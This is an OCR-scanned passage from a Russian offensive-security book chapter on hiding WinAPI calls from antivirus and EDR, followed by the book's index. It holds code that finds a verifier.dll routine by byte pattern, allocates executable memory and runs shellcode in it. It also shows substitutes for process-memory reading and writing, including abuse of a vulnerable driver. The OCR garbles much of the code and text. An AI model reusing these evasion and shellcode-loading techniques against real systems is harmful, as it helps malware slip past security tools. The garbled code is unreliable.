23 .4 ).
Дальнейшим исследованием была обнаружена функция DphCommi tMemoryFromPageHeap ( 1
из verifier. dll, внутри которой и дергалась NtAllocateVirtualMemory () (рис.
А вот и наша NtAllocateVirtualMemory ( 1 (рис.
Пример с
23 .5).
23 .б)!
DphCommitMemoryFromPageHeap
После того как мы смогли найти нужную функцию, следует добиться передачи по
тока управления по этому адресу. Есть два варианта:
□ определить смещение функции относительно базового адреса загрузки
DLL
в памяти;
□ определить адрес целевой функции по байтовому паттерну.
Воспользуемся вторым вариантом. Здесь нам поможет
памяти
(рис.
по
опкодам.
Начнем
с
определения
IDA,
начальных
а также сканирование
инструкций
функции
23.7).
. text: 00000001800020F8
. text : 00000001800020F8
. text:00000001 В00020F8
. text:00000001В00020F8
. text : 00000001B00020F8
. text : 00000001800020F8
. text :00000001800020F8
. text :00000001800020F8
. text: 00000001800020F8
_text :00000001800020F8
. text : 00000001800020F8
. text : 00000001800020F8
. text : 00000001800020F8
. text:00000001800020F8
-text :00000001800020F8
itext:
text :00000001800020Fд
text:00000001800020F8
text :00000001800020FC
text :0000000180002103
; _int64 _fastcall OphComniitМemoryforPageHcap(PVOIO •вaseAddress , PSIZE_T RegionSi ze , ULONG Protect)
DphCommi tмenюryFor Pa g eHeap proc near
; СООЕ XRE F: AllrfpDphSetProtectioosBeforeUse•96+p
; AllrfpOphAllocateNode•AD•p
; ОАТА XREF: ...
A!locationType = dword ptr • lAВh
Protoct
= dword ptr - 1A0h
Eventlnformation= byte ptr - 198h
var _194
= dword ptr -194h
SysteNinfor•ation= byte ptr - 188h
=
dword ptr - 158h
var _158
var _154
= dword ptr -154h
var _28
= qword ptr - 2Bh
unwind 1 / /
. ,еп:
. text :0000000180002100
. text:0000000180002115
. text : 000000018000211В
. text : 0000000180002 11 Е
. text :0000000180002121
. text :0000000180002124
Рис.
23.7.
6SHand.lerCheck
pusn
rq;:
rsi
push
push
rdi
sub
rsp, 1B0h
rax cs : securi tv cookie
NOV
rax, rsp
xor
nюv
[ rsp+1C8h+var _ 28 ], rax
NOV
еах, cs: AVrfpOphМaxSyste.,,ideCOIIIDi tPercen t
nюv
esi, r8d
mov
rdi, r dx
mov
rbx, rcx
'd'
cmp
еах , 64h ;
----
-
Инструкции, которые будем использовать для поиска функции
Затем переводим их в опкоды, по которым будем осуществлять сканирование
(рис.
23.8).
Определяем прототип функции для вызова.
typedef int (WINAPI * DphCommi tMemoryFromPageHeapFunc) (
PVOID* BaseAddress,
PSIZE_T RegionSize,
ULONG Protect
1;
Глава
23. ОбФусцируем вызовы WinAPI новыми способами
Enter your assemЫy code using lntel syntax
451
Ьelow.
:push rbx
;push rsi
:push rdi
!sub rsp, ех1ве
I
Architecture: О х86 @ x64 AssemЫe ]
AssemЫy
R.w
Нех
(zero bytes in bold):
535657 4881ЕСВ0018И8
Strin1
Liter ■ l,
"\х53\х5б\х57\х48\х81\хЕС\х80\х01\х00\х00"
Liter'■ l t
Arr ■y
{
0х53, 0х5б,
0х57,
0х48,
0х81, 0хЕС,
0х80,
0х01, 0х09,
0х00}
DisassemЫy :
0:
1:
53
2:
57
48 81
3:
56
ее ь0
01 00 00
push
push
push
sub
rbx
rsi
rdi
rsp,0x1b0
Рис.
23.8.
Оnкоды
Добавляем код по с кану памяти и передаем на функцию поток управления!
int rnain ()
НМODULE hМodule
= NULL;
= LoadLibraryA("verifier.dll");
DphCornrnitMernoryFrornPageHeapFunc DphCornrnitMernoryFrornPageHeapWPtr
(DphCornrnitMernoryFrornPageHeapFunc) (FindFunction (GetCurrentProcess() , GetFunctionBytes(),
hМodule
(uintp tr_t)hМodule));
SIZE Т size = ОхАВСD ;
LPVOID addr = nullptr;
NTSTATUS err = DphCornrnitMernoryFrornPageHeapWPtr(&addr, &size , PAGE EXECUTE);
std: :wcout << err << std: :endl;
return
О;
452
Часть
111.
Способы обхода средств защиты информации
ш
...1
Q
z
<{
I
Q
1
:::;
~
z
-1
(/)
::::)
~
(/)
1--
IU
а.
..,m
о
a:i
oi
м
N
u
:s:
о.
Глава
23.
Обфусцируем вызовы
WinAPI
новыми способами
453
Полный код представлен по адресу https://github.com/МzHmO/articles/ЫoЬ/main/
memscan/DphCommitMemoryFromPageHeap.cpp.
На рис.
23.9
мы видим резуль
тат вызова.
Сам автор в своем ресерче предлагает вызывать функцию AVrfpNtAllocateVirtualMemory (),
он дергает ее по оффсету, но вы можете в качестве тренировки сделать получение
адреса по паттерну.
typedef NTSTATUS (*AVrfpNtAllocateVirtualMemory_t)
(
ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
ULONG_PTR *RegionSize,
ULONG AllocationType,
ULONG Protect
НANDLE
1;
DWORD protect{);
LPVOID virtualMemory = nullptr;
SIZE_T size = rawShellcodeLength;
НМODULE
hVerifierMod = this->api.LoadLibraryA.call("verifier.dll");
AVrfpNtAllocateVirtualMemory_t AVrfpNtAllocateVirtualMemory =
(AVrfpNtAllocateVirtualMemory_t) ( (char*)hVerifierMod + Ох25110);
AVrfpNtAllocateVirtualMemory(NtCurrentProcess(), &virtualMemory,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
О,
&size,
МЕМ
RESERVE
this->api.RtlMoveMemory.call(virtualMemory, rawShellcode, rawShellcodeLength);
(*(int(*) ()) virtualMemory) ();
Через
RPC
Скажу честно, проксирование через вызовы
-
достаточно сложный метод, объяс
нение которого не уместится в одну главу. По этому способу был даже представлен
доклад на конференции (https://github.com/klezVirus/RpcProxylnvoke/ЫoЬ/master/
%5BSlides%5D%20U nraveling%20an %20RPC%20Thread %20-%20How%20
Attackers%20Abuse%20Server%20Calls%20for%20Code%20Execution.pdt).
Од
нако я постараюсь описать вкратце.
При взаимодействии устройств через протокол
RPC
происходят операции марша
линга и демаршалинга передаваемых параметров. Это необходимо, т. к. аргументы
функции передаются по сети и сложные структуры просто так в сокет не засунуть.
Обработка данных происходит в специальных NDR-функциях
(NDR - Network
Data Representation). Сами данные попадают внутрь этих функций в виде структуры
RPC MESSAGE (https://learn.microsoft.com/ru-ru/windows/win32/api/rpcdcep/ns-rpcdcep-
Е
Algrt
8qE ldpail 111
ldp08 l8CourC
,
ОкА.ао.t.• 1 .....,ер,
ll80L...-IL.-0
Рис.
-
i
1
.____.
-
-Ер, (Р\10,0)
-
-
...
-....
...,,,...__
J
1
-1
о
Е
Q)
с.,
а,
3
С)
а,
-8
IФ
Q)
а,
1~
о
~
lf
-
MIDL_SERVER_INFO
-$'""0(71
°""°--- .......,s.mae1
с::
с::
J::
:::Q)
.g
-&
:t
с::
3
~
!
---·- ·-
3
о-
С)
.с
Q)
с::
о.за~
--
.,.,_,,,."0"28_. .
о..ао
01118~
1 0'10-
1 О.00~
t --,_._,;;.; ~ -- -~
MIOL,,,SТU 8_DliSC
~-~- ------..
О- -.С:0-КJ (PYOID)
0"38
0 ! ' 3 0 - (PVOIO)
0"28 R p c a , , l c < f - -
QJl20T,_fetSyntaa:
~
Ох18
--~6)
----
,~
о•Olf101km8r
~
(n
~
--tS"1"11(!11
-
,-
---•S•"'O(♦J
-
!<О--
_} - - _ o--r-
--....,s_z,
0.18 Pr--S•1ng(3j
о.,о
o.oe_,,,.tS""'Ol•I
---$""'8(0)
,,.,.,_........._,_
..
Stmg
_,.,
---То Со/1
[-
Передача потока управления из
1
.,
23.10.
Ol<IOnCounl
а.28рТt-~
__
0.t8 Fm<S....,.._.
---
~
...---
-;, ----
--..... ~ -
.....ORpd•
0>38
~
-~-
о,,20Т-
а.••-
О.10~
--
1~
llll'C_SEJIYElt_.llfТEМACIE
.... ...,,,.._
0.20 .,.
0.18 _,
Ok,O ~
owe wg1
·--
о.о-
llll'C..-SSAOI!
Глава
23. Обфусцируем вызовы WinAPI новыми способами
rpc_message).
манипулируя
адресу (рис.
Внутри
455
нее достаточно большая вложенность других структур,
которыми мы можем
передать
поток управления по
произвольному
23. l О).
У этого метода есть свои особенности: как минимум необходимо инициализировать
среду
RPC
в текущем процессе. Существует демонстрация работы на У ouTube
(https://www.youtube.com/watch?v=zte6RМtsNzg), а также РоС на
GitHub (https://
githu b.com/klezVirus/RpcProxy Invoke ).
Таким образом, с помощью подсистемы
RPC
мы можем дергать любую WinАРl
функцию с передачей аргументов, что будет считаться одной из форм проксиро
вания.
Используем альтернативные функции
Теория
Пора выдохнуть и перейти к чуть более простому методу. В случае с альтернатив
ными функциями мы будем пытаться найти обходной путь до нужных нам возмож
ностей. Например, вместо использования функции
memcpy () собственноручно писать
логику метода и копировать данные с помощью указателей, ручками. Или, как
вариант
-
обнаружить и дергать чуть более низкоуровневый, потенциально нехук
нутый аналог.
В принципе, этот вариант достаточно тесно связан с прокси-функциями, ведь ка
кой-то метод может дергать оригинальную функцию под капотом, быть оберткой
над оберткой ... В общем, реверсить каждую запаришься. Главное
-
найти иной
WinАРI-вызов, альтернативу.
Замена
CRT
Проще всего начать с замены СRТ-функций. Например, так можно заменить функ
цию
memcpy () :
PVOID _memcpy(PVOID Destination, PVOID Source, SIZE_T Size)
{
for (volatile int i = О; i < Size; i++) {
( (ВУТЕ*) Destination) [i) = ( (ВУТЕ*) Source) [i);
return Destination;
Вот так
-
сравнение строк через
wcscmp ():
int custom_wcscmp(const wchar_t* strl, const wchar_t* str2)
while (*strl == *str2 && *strl != L'\0') {
strl++;
str2++;
Часть
456
Способы обхода средств защиты информации
///.
return *strl - *str2;
А так
РСНАR
-
преобразование из нижнего регистра в верхний:
CaplockStringA( In
РСНАR
Ptr)
РСНАR sv = Ptr;
while (*sv 1= '\О')
if (*sv >= 'а' && *sv <= 'z')
*sv = *sv - ('а' - 'А');
sv++;
return Ptr;
PWCНAR
CaplockStringW( In
PWCНAR
Ptr)
{
PWCНAR sv = Ptr;
while (*sv != '\О')
if (*sv >= 'а' && *sv <= 'z')
*sv = *sv - ('а' - 'А');
sv++;
return Ptr;
В
CRT
очень много функций, и практически все возможно переписать, вручную
реализовав логику их работы. Больше вариантов ищите в репозиториях
(https://github.com/JНRobotics/nocrt)
и
NOCRT
(https://vx-api.gitbook.io/vx-api/
vx-api
code-base/markdown ).
Через ссылки на структуры
Обычно в
Windows
Windows
используются одни и те же структуры в функциях со схожей
логикой работы. Таким образом, у нас появляется возможность искать похожие
функции. Проще всего искать через
IDE.
Для этого нужно будет найти заголовоч
ный файл, в котором есть интересующая нас структура.
Искать прокси-функции можно тем же методом, поэтому не будем останавливаться
на них отдельно.
Итак, пусть у нас есть функция SetThreadContext ()
(https://learn.microsoft.com/enus/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext),
которая принимает структуру CONTEXT
(https:/Лearn.microsoft.com/en-us/windows/
win32/api/winnt/ns-winnt-arm64_ nt_context).
Структура CONTEXT определена в файле winnt.h (рис.
23.11 ).
Глава
23.
Обфусцируем вызовы
WtnAPI
457
новыми способами
....
....z~
о
(.)
:;;
а.
t
>,
а.
t
ф
s
:<:
ф
с;
ф
а!=
а.
,::
о
..:
....
м
N
u
s
D.
Часть
458
111.
Способы обхода средств защиты информации
Нажимаем на PCONTEXT, кликаем правой кнопкой мыши и выбираем «Найти все
ССЫЛКИ>> (рис.
23.12).
Получаем большой список ссылок на эту структуру из разных функций (рис.
23 .13 ).
Начинаем исследовать и обнаруживаем функцию RtlCaptureContext2 ( 1 со схожими
возможностями (рис.
23.14)!
Рис.
Рис.
23.12.
23.13.
Поиск ссылок
Список ССЫЛОК
Глава
23.
Обфусцируем вызовы
WinAPI
459
новыми способами
о:;
s
~
:t
-&
о:;
CV
:t
1D
s
tv:t
а.
~
......
~
м
N
c.i
:s:
а.
Часть
460
111.
Способы обхода средств защиты информации
Изучаем СОМ
Подсистема СОМ предоставляет нам огромное количество всяких фич. Нужно
лишь изучить ее и понять ее особенности: что такое класс СОМ, как они регистри
руются в системе, как работают интерфейсы и методы и т. д. Проштудировав это,
вы сможете обнаружить множество интересных вещей!
ПОЛЕЗНОЕ
У
меня
есть
небольшой
Research/COMThanasia),
Например, у объекта
репозиторий COMThanasia (https://github.com/CICADA8который поможет вам в изучении СОМ.
{oooooбl8-0000-0010-sooo-ooaa006d2ea4)
ри которого есть метод
ChangePassword ( 1,
существует интерфейс, внут
предварительно этот метод может использо
ваться для смены пароля пользователя. Таким образом, дергая ChangePassword(I из
СОМ, вы можете избежать вызова функций из netapi .dll (рис.
. CLSIDExplorer . ••• -ctsid • 1евееебl8-ееее-ее1е-веее-ееааеебd2еаЧ} •
PS А : \ssd\ProjectsVS\CLSIDExplorer\xбЧ\Debug> . \CLSIDExptorer .охо -cls\d
[ {еееееб1а-ееее-ее1е - ееее-0еааеебd2еаЧI J
AppIO : Un~nown
ProgID : Unlщown
PID : 8972
Process Na11e : CLSIOExptorer. ехе
Usorna■ e: W!NPC\\"ichaet
23.15).
"{90000618-0080-0810·8000·90.aGBbOleaЧ)
•
"ethods ;
[0] _stdca'\.t void Querylnterface(IN GUIO--, OUT void••)
[1] __ stdcatt unsigned tong AddRef()
[2) _ stdcal\ unsigned tong Release()
[3] _stdca\t void GetTypeinfoCount(OUT unsigned int•)
[ц] __ stdcat\. void GetTypelnfo(IN unsigned int, ItJ unsigned tong , OUT void••)
[S] __ stdcatt void GetJDsOfNames(JN GUJO•, JN char••, JN unsigned int , HJ unsigned \on9 1 OUT \ong•)
[6] __ stdca\\ void Jnvoke(JN long, IN GUID•, IN unsigned tong, IN unsigned short, ПJ OISPPARA"S•, OUT VARIANT•,
OUT EXCEPINFO•, ОUТ unsigned int•)
[7] __stdcatl BSTR N..,e()
[В) _ stdcatt void Na•e(IN 6STR)
[9] _ stdca\\ RightsEnulП GetPerrtissions(lt, VARlAtП, IN ObjectTypeEnu• , ~ЛJ VARIANT)
[18] _stdcalt void SetPer•issions(lN VARIANT, IN ObjectTypeEnu111 1 IN ActionEnum , IN RightsEnum , IN InheritTypeEn
u•, IN VARIANT)
[11) __stdcatt void ChangePassword(IN 6STR , IN BSTR)
[12] __ stdcatt Groups• Groups()
[13] __ stdcalt Properties• Properties{)
(11.1) __ stdcatl _C.itatog• ParentCatatogO
[15] __ stdcatl void PArentCata\og(Jtl _Ca.talog•)
[16] _stdcalt void PмentCatatog(IN _Catalog•)
[END] .
PS А : \ssd\ProjectsVS\CLSIDExptorer\xбЧ\Debug> 1
Рис.
Замена
23.15.
Интересный метод
ReadProcessMemory()
Наконец, давайте покажу еще пару интересных «обходных путей» для
функций.
На текущий
момент известно
несколько
способов
замены
вызова
методов
ReadProcessMemory():
□ через злоупотребление уязвимыми драйверами, например wnЬios 64. sys
(https://github.com/ltzP AX/wnblos_рос);
□ через RtlFirstEntrySList () (https://web.archive.org/weЬ/20230317073231/
https://www.x86matthew.com/view_post?id=read _write_proc_ memory).
Первый вариант очевиден: драйвер предоставлял уязвимый метод, пригодный для
чтения памяти. А вот второй чуть более сложный. Исследователь под ником
x86matthew
обнаружил функцию RtlFirstEntrySList (), которая получала адрес и воз
вращала значение по нему
.
Глава
23.
Обфусцируем вызовы
WinAPI
новыми способами
461
DWORD _stdcall RtlFirstEntrySList(DWORD *pValue)
return *pValue;
Если вызывать эту функцию в удаленном процессе через createRemoteThread() или
NtCreateThreadEx (), то можно добиться примитива чтения данных. Автор удалил РоС
и статью из своего блога, впрочем, все сохранено в
Intemet Archive,
ссылка выше.
Если мы работаем из кода на С#, то стоит обратить внимание на System.StuЬHelpers.
GetNDirectTarget().
puЫic
static IntPtr
ReadМemory(IntPtr
addr)
{
var stuЬHelper = typeof(System.String) .AssemЫy.GetType("System.StuЬHelpers.StuЬHelpers");
var GetNDirectTarget = stuЬHelper.GetMethod("GetNDirectTarget",
System.Reflection.BindingFlags.NonPuЬlic I System.Reflection.BindingFlags.Static);
IntPtr unmanagedPtr = Marshal.AllocHGlobal(200);
for (int i = О; i < 200; i += IntPtr.Size)
Marshal.Copy(new[] { addr },
О,
unmanagedPtr + i, 1);
return (IntPtr)GetNDirectTarget.Invoke(null, new object[] { unmanagedPtr });
Замена
В
той
WriteProcessMemory()
же
статье
(https://web.archive.org/weЫ20230317073231/https://www.x86
matthew .com/view_post?id=read_ write_proc_ memory) x86matthew
предложил аль
тернативу записи в память. Она тоже основана на функциях инкремента и декре
мента значения по адресу. Множественными вызовами этих функций для адреса
в процессе мы можем изменять значения в памяти, а значит, записывать.
LONG
LONG
stdcall Interlockedlncrement(LONG *Addend);
stdcall InterlockedDecrement(LONG *Addend);
Где искать альтернативы
Если вам стало интересно обнаруживать подобные возможности, рекомендую изу
чить блог
VX-Underground (https://vx-api.gitbook.io/vx-api).
На сайте много инте
ресных разработок, которые можно использовать в собственном коде. Например,
мы могли бы запускать процесс не вызывая напрямую CreateProcess (), а через ими
тацию нажатий
Win-R.
Согласитесь, это круто!
Заключение
Обфускация вызовов
WinAPI -
крайне творческий и любопытный процесс. Нужно
пытаться смотреть на систему под новыми углами и мыслить нестандартно. Если
вдруг получается отойти от проторенной дороги, можно оказаться вне поля зрения
антивирусных радаров!
Предметный указатель
А
ACG (ProcessDynamicCodePolicy) 355
Active Directory 13
Active Directory Module 31
ALPC (Advanced Local Procedure Calls) 117
Antimalware Scan Interface 417
АР (Authentication Package) 113
Authentication Package 143
в
Binding 280
BloodHound 240
BNIL (Binary Ninja Intermediate Language) 447
с
CLSID (Class Identifier) 279
Cobalt Strike 60
СОМ (Component Object Model) 279
Credential Providers 115
CsWhispers 225
D
DCSYNC 42
Dead Lock 374
Debug Address Registers 394
Default Domain Controller's Policy 29
Default Domain Policy 29
DLL Hijacking 374
DLL Proxying 374
DLL Redirection 375
dnSpy 221
DSRM 48
Dynamic Invoke 221
Dynamic Platform Invoke 230
Е
EDR 307
Elevation Moniker 279, 286, 295
ESS 213
Extended Session Security 213
G
GIUDA 77
Group Policy Container 29
Group Policy Object (GPO) 29
Group Policy Template 29
н
Hardware breakpoint 393
Hash Invoke 234
IНхЕхес 301
IID (lnterface Identifier) 281
Impacket 139
!О Ninja 263
к
Kerberos 67, 149
Kerberos Relay 269
Kemel Provider 370
Кеу List 50
КnownDlls 321
L
Loader Lock 374
Logon Session 291
lsa 17
LSA (Local Security Authority) 112, 119, 237
463
Предметный указатель
LSASS 149, 205, 237
LUID (Locally Unique IDentifier) 77, 104, 152,
291
м
MIM (Microsoft Identity Management) 23
Mimikatz 17, 123, 139, 149, 244
Module Overloading 223
monodies 221
MPR (Multiple Provider Router) 133
N
Named Pipe 256
NDR - Network Data Representation 453
NPFS - Named Pipe File System 256
NTLM 17
NTLMSSP 67
о
Organizational Units 29
р
РАМ
Trust 23
Parasite Invoke 227
pass the ticket 139
Password Filters 11 5
РЕВ 314
PipeViewer 263
Platfonn Invoke 218
PowerView 33
Primary User 243
Privileged Access Management 23
Privileger 87, 93, 112
Process Hacker 259
Proxy Invoke 442
pyGPOAbuse 38
pypykatz 190
Security ЫоЬs 206
Security context 57
Security Package (SP) 113
Security Providers 114
Security Support Provider Interface (SSPI) 205
SEH (Structured Exception Handling) 395
self-injection 426
SharpGPOAbuse 38
SID (Security Identifier) 57, 97
SID Filtering 19
SIDHistory 18
Single Sign-On 115
Software breakpoint 393
SPN (Service Principal Name, идентификатор
службы) 84
SSA (Static Single Assignment) 447
SSDT Hooking 307
SSP (Security Support Prodiver) 67, 112
SSP/AP 113
SSPI (Security Support Provider Interface) 67
Static Invoke 218
svchost.exe 391
т
TGS (Ticket Granting Service) 18, 149, 248
TGSThief77, 89
ТGS-билет 84
TGT (Ticket Granting Ticket) 77, 149
TGT Delegation 21,208
ТОТ-билет 43
u
UEH (Unhandled Exception Handling) 395
Unhandled Exception Filter 399
User Account Control 279
User context 57
User Shell 117
V
R
Read-only Domain Controller 40
RemotePotato0 251
Reserved Debug Registers 394
RSAT 37
Rubeus 139
5
SAM57
SCCM 243
УЕН
(Vectored Exception Handling) 395
w
WinAPI 425,441
Windows Kernel Trace 370
WinSxS (Windows Side Ву Side) 387
WMI 248
WTS!mpersonator 77
Предметный указатель
464
н
А
Анхукинr
Начальный процесс
307
118
п
Б
Блоб
Пайп
67,206
256
58
Поток
г
Привилегии
Групповые политики
93
Провайдеры
29
д
◊
безопасности
◊
учетных данных
Программное
Двойной вызов функции
348
Процесс
1 14
115
имя 60
59
Делегат
221, 430
Демаршалинr 453
Деревья 13
Дескрипторы 180
с
Связывание моникера
Диспетчер учетных данных
Дружественное имя
Сессионный моникер
133
Сессия
60
и
Инстанс
256
57, 63, 250
Теневые принципалы безопасности
286
Инстанцирова!1ие
Исключение
security principal) 23
Тикеты 149
279
3 'J ➔
Токены аутентификации
Точка останова
к
у
LSA 85
Кеширование
40
Ключ доверия 17
Контейнеры 30
Контекст 206
◊ безопасности 57
◊ пользователя 57
Указатель
433
ф
Фабрика
280
х
л
Лес
Хендлы
Хук
13
180
307
ч
м
Маршалинr
Челлендж
453
59
214
Маска доступа
Межпроцессное взаимодействие
Моникер
279, 295
408
118
т
Именованные каналы
Кеш
77, 291
Сискол, системный вызов
Системный шелл
Имперсонация
280
295
256
ш
Шелл-код
425
393
57
(shadow